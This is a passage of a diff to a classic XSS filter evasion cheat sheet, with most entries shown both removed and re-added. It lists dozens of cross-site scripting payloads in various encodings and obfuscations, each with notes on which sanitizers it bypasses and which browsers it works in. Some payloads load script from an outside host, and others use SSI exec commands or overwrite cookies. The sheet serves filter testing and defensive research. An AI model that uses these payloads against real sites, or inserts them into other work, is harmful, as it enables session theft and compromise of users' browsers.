class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + XML data island w/CDATA <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> -</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> - XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - XML data island w/comment +</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> + XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + XML data island w/comment <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> -<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> - XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive) - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - XML (locally hosted) +<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> + XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive) + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + XML (locally hosted) <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML> -<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> - Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - XML HTML+TIME +<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> + Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + XML HTML+TIME <HTML><BODY> <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2"> -<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML> - HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Commented-out Block +<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML> + HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Commented-out Block <!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> -<![endif]--> - Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Cookie Manipulation - <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> - Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - Local .htc file - <XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"> - This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Rename .js to .jpg - <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> - Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - SSI - <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--> - SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - PHP +<![endif]--> + Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Cookie Manipulation + <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> + Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + Local .htc file + <XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"> + This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Rename .js to .jpg + <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> + Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + SSI + <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--> + SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + PHP <? echo('<SCR)'; -echo('IPT>alert("XSS")</SCRIPT>'); ?> - PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - JavaScript Includes - <BR SIZE="&{alert('XSS')}"> - &JavaScript includes (works in Netscape 4.x). - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - Character Encoding Example +echo('IPT>alert("XSS")</SCRIPT>'); ?> + PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + JavaScript Includes + <BR SIZE="&{alert('XSS')}"> + &JavaScript includes (works in Netscape 4.x). + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] + + + Character Encoding Example < %3C &lt @@ -497,480 +497,480 @@ echo('IPT>alert("XSS")</SCRIPT>'); ?> \x3c \x3C \u003c -\u003C - All of the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?). - - Browser support: - - - Case Insensitive - <IMG SRC=JaVaScRiPt:alert('XSS')> - Case insensitive XSS attack vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - HTML Entities - <IMG SRC=javascript:alert(&quot;XSS&quot;)> - HTML entities (the semicolons are required for this to work). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Grave Accents - <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> - Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Image w/CharCode - <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> - If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - UTF-8 Unicode Encoding - <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> - UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Long UTF-8 Unicode w/out Semicolons - <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> - Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - DIV w/Unicode - <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> - DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Hex Encoding w/out Semicolons - <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> - Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - UTF-7 Encoding - <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- - UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - Escaping JavaScript escapes - \";alert('XSS');// - Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - End title tag - </TITLE><SCRIPT>alert("XSS");</SCRIPT> - This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - STYLE w/broken up JavaScript - <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> - STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Embedded Tab - <IMG SRC="jav ascript:alert('XSS');"> - Embedded tab to break up the cross site scripting attack. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Embedded Encoded Tab - <IMG SRC="jav&#x09;ascript:alert('XSS');"> - Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Embedded Newline - <IMG SRC="jav&#x0A;ascript:alert('XSS');"> - Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Embedded Carriage Return - <IMG SRC="jav&#x0D;ascript:alert('XSS');"> - Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Multiline w/Carriage Returns - <IMG SRC = " j a v a s c r i p t : a l e r t ( ' X S S ' ) " > - Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Null Chars 1 - perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out - Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Null Chars 2 - perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out - Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Spaces/Meta Chars - <IMG SRC=" &#14; javascript:alert('XSS');"> - Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Non-Alpha/Non-Digit - <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s" - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Non-Alpha/Non-Digit Part 2 - <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> - Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here. - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - No Closing Script Tag - <SCRIPT SRC=http://ha.ckers.org/xss.js - In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally. - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Protocol resolution in script tags - <SCRIPT SRC=//ha.ckers.org/.j> - This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag. - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Half-Open HTML/JavaScript - <IMG SRC="javascript:alert('XSS')" +\u003C + All of the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?). + + Browser support: + + + Case Insensitive + <IMG SRC=JaVaScRiPt:alert('XSS')> + Case insensitive XSS attack vector. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + HTML Entities + <IMG SRC=javascript:alert(&quot;XSS&quot;)> + HTML entities (the semicolons are required for this to work). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Grave Accents + <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> + Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Image w/CharCode + <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> + If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + UTF-8 Unicode Encoding + <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> + UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Long UTF-8 Unicode w/out Semicolons + <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> + Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + DIV w/Unicode + <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> + DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Hex Encoding w/out Semicolons + <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> + Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + UTF-7 Encoding + <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- + UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + Escaping JavaScript escapes + \";alert('XSS');// + Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + End title tag + </TITLE><SCRIPT>alert("XSS");</SCRIPT> + This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + STYLE w/broken up JavaScript + <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> + STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Embedded Tab + <IMG SRC="jav ascript:alert('XSS');"> + Embedded tab to break up the cross site scripting attack. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Embedded Encoded Tab + <IMG SRC="jav&#x09;ascript:alert('XSS');"> + Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Embedded Newline + <IMG SRC="jav&#x0A;ascript:alert('XSS');"> + Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Embedded Carriage Return + <IMG SRC="jav&#x0D;ascript:alert('XSS');"> + Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters). + + 